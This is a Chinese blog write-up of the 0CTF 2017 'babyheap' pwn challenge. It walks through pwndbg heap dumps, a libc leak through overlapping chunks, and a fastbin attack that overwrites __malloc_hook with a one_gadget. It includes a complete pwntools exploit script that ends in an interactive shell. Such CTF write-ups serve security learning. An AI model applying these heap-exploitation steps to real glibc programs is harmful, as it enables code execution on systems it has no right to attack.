babyheap_0ctf_2017

记录一次关于堆的调试过程:

参考:https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/

首先checksec:

1.png

全保护

run:

2.png

根据运行可以写一段exp:

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')

ida:

3.png
Allocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
Free - 释放一块 chunk。
Dump - 输出限制大小的 chunk 内容。

第一步leak libc:

first step:

  • alloc(0x60)
  • alloc(0x40)
  • alloc(0x100)
    此时堆的分布:
pwndbg> x/32gx 0x558f2644f000
0x558f2644f000: 0x0000000000000000  0x0000000000000071 #idx0
0x558f2644f010: 0x0000000000000000  0x0000000000000000
0x558f2644f020: 0x0000000000000000  0x0000000000000000
0x558f2644f030: 0x0000000000000000  0x0000000000000000
0x558f2644f040: 0x0000000000000000  0x0000000000000000
0x558f2644f050: 0x0000000000000000  0x0000000000000000
0x558f2644f060: 0x0000000000000000  0x0000000000000000
0x558f2644f070: 0x0000000000000000  0x0000000000000051 #idx1
0x558f2644f080: 0x0000000000000000  0x0000000000000000
0x558f2644f090: 0x0000000000000000  0x0000000000000000
0x558f2644f0a0: 0x0000000000000000  0x0000000000000000
0x558f2644f0b0: 0x0000000000000000  0x0000000000000000
0x558f2644f0c0: 0x0000000000000000  0x0000000000000111 #idx2
0x558f2644f0d0: 0x0000000000000000  0x0000000000000000
0x558f2644f0e0: 0x0000000000000000  0x0000000000000000
0x558f2644f0f0: 0x0000000000000000  0x0000000000000000

second step:

  • fill(0,0x60*'a'+p64(0)+p64(0x71))
  • fill(2,0x10*'b'+p64(0)+p64(0x71))
  • free(1)
  • alloc(0x60)
pwndbg> x/32gx 0x55f3025cc000
0x55f3025cc000: 0x0000000000000000  0x0000000000000071
0x55f3025cc010: 0x6161616161616161  0x6161616161616161
0x55f3025cc020: 0x6161616161616161  0x6161616161616161
0x55f3025cc030: 0x6161616161616161  0x6161616161616161
0x55f3025cc040: 0x6161616161616161  0x6161616161616161
0x55f3025cc050: 0x6161616161616161  0x6161616161616161
0x55f3025cc060: 0x6161616161616161  0x6161616161616161
0x55f3025cc070: 0x0000000000000000  0x0000000000000071
0x55f3025cc080: 0x0000000000000000  0x0000000000000000
0x55f3025cc090: 0x0000000000000000  0x0000000000000000
0x55f3025cc0a0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0b0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0c0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0d0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0e0: 0x0000000000000000  0x0000000000000071
0x55f3025cc0f0: 0x0000000000000000  0x0000000000000000

thrid step:

  • fill(1,0x40*'c'+p64(0)+p64(0x111))
  • alloc(0x100)
  • free(2)
  • dump(1)
pwndbg> x/32gx 0x5630c0d74000
0x5630c0d74000: 0x0000000000000000  0x0000000000000071
0x5630c0d74010: 0x6161616161616161  0x6161616161616161
0x5630c0d74020: 0x6161616161616161  0x6161616161616161
0x5630c0d74030: 0x6161616161616161  0x6161616161616161
0x5630c0d74040: 0x6161616161616161  0x6161616161616161
0x5630c0d74050: 0x6161616161616161  0x6161616161616161
0x5630c0d74060: 0x6161616161616161  0x6161616161616161
0x5630c0d74070: 0x0000000000000000  0x0000000000000071
0x5630c0d74080: 0x6363636363636363  0x6363636363636363
0x5630c0d74090: 0x6363636363636363  0x6363636363636363
0x5630c0d740a0: 0x6363636363636363  0x6363636363636363
0x5630c0d740b0: 0x6363636363636363  0x6363636363636363
0x5630c0d740c0: 0x0000000000000000  0x0000000000000111
0x5630c0d740d0: 0x00007fa90b8bdb78  0x00007fa90b8bdb78   #main_arena-88的地址
0x5630c0d740e0: 0x0000000000000000  0x0000000000000071
0x5630c0d740f0: 0x0000000000000000  0x0000000000000000

leak出的地址:

0x7fa90b8bdb78 <main_arena+88>: 0x00005630c0d742e0  0x0000000000000000

libc_base = leak出的地址-offset

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x469d3a103000     0x469d3a104000 rw-p     1000 0      
    0x5630bfc06000     0x5630bfc08000 r-xp     2000 0      /home/cnitlrt/桌面/babyheap
    0x5630bfe07000     0x5630bfe08000 r--p     1000 1000   /home/cnitlrt/桌面/babyheap
    0x5630bfe08000     0x5630bfe09000 rw-p     1000 2000   /home/cnitlrt/桌面/babyheap
    0x5630c0d74000     0x5630c0d95000 rw-p    21000 0      [heap]
    0x7fa90b4f9000     0x7fa90b6b9000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b6b9000     0x7fa90b8b9000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b8b9000     0x7fa90b8bd000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b8bd000     0x7fa90b8bf000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

所以offset:

pwndbg> p/x 0x00007fa90b8bdb78-0x7fa90b4f9000
$1 = 0x3c4b78

第二步获取shell(fastbin_attack double free)

pwndbg> x/32gx 0x00007fa90b8bdb78 - 88-16-0x23
0x7fa90b8bdaed <_IO_wide_data_0+301>:   0xa90b8bc260000000  0x000000000000007f
0x7fa90b8bdafd: 0xa90b57ee20000000  0xa90b57ea0000007f
0x7fa90b8bdb0d <__realloc_hook+5>:  0x000000000000007f  0x0000000000000000
0x7fa90b8bdb1d: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb2d <main_arena+13>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb3d <main_arena+29>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb4d <main_arena+45>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb5d <main_arena+61>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb6d <main_arena+77>: 0x0000000000000000  0x30c0d742e0000000
0x7fa90b8bdb7d <main_arena+93>: 0x0000000000000056  0x30c0d740c0000000
0x7fa90b8bdb8d <main_arena+109>:    0x30c0d740c0000056  0xa90b8bdb88000056
0x7fa90b8bdb9d <main_arena+125>:    0xa90b8bdb8800007f  0xa90b8bdb9800007f
0x7fa90b8bdbad <main_arena+141>:    0xa90b8bdb9800007f  0xa90b8bdba800007f
0x7fa90b8bdbbd <main_arena+157>:    0xa90b8bdba800007f  0xa90b8bdbb800007f
0x7fa90b8bdbcd <main_arena+173>:    0xa90b8bdbb800007f  0xa90b8bdbc800007f
0x7fa90b8bdbdd <main_arena+189>:    0xa90b8bdbc800007f  0xa90b8bdbd800007f

利用思路主要是double free:free(1)change chunk1的fd指针,第二次申请到的就是fakechunk ,填充memalign_hook realloc_hook malloc hook覆盖指针为onegadget
完整exp:

from pwn import*
p = process("./babyheap")
context.log_level = 'debug'
libc = ELF("libc-2.23.so")
print util.proc.pidof(p)
pause()
#context.log_level = 'debug'
def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')
log.success("-----------------------leak libc-------------------------")
alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))
free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print hex(main_arena)
offset = hex(0x7f9888706b78-0x7f9888342000)
print offset
libc_base = main_arena - 0x3c4b78
log.success("---------------------getshell------------------------")
malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23
print hex(fake_chunk)
free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
                          memalign_hook  realloc_hook  malloc hook
fill(2,      "a"*3        +p64(0)      +p64(0)       +p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,843评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,538评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,187评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,264评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,289评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,231评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,116评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,945评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,367评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,581评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,754评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,458评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,068评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,692评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,842评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,797评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,654评论 2 354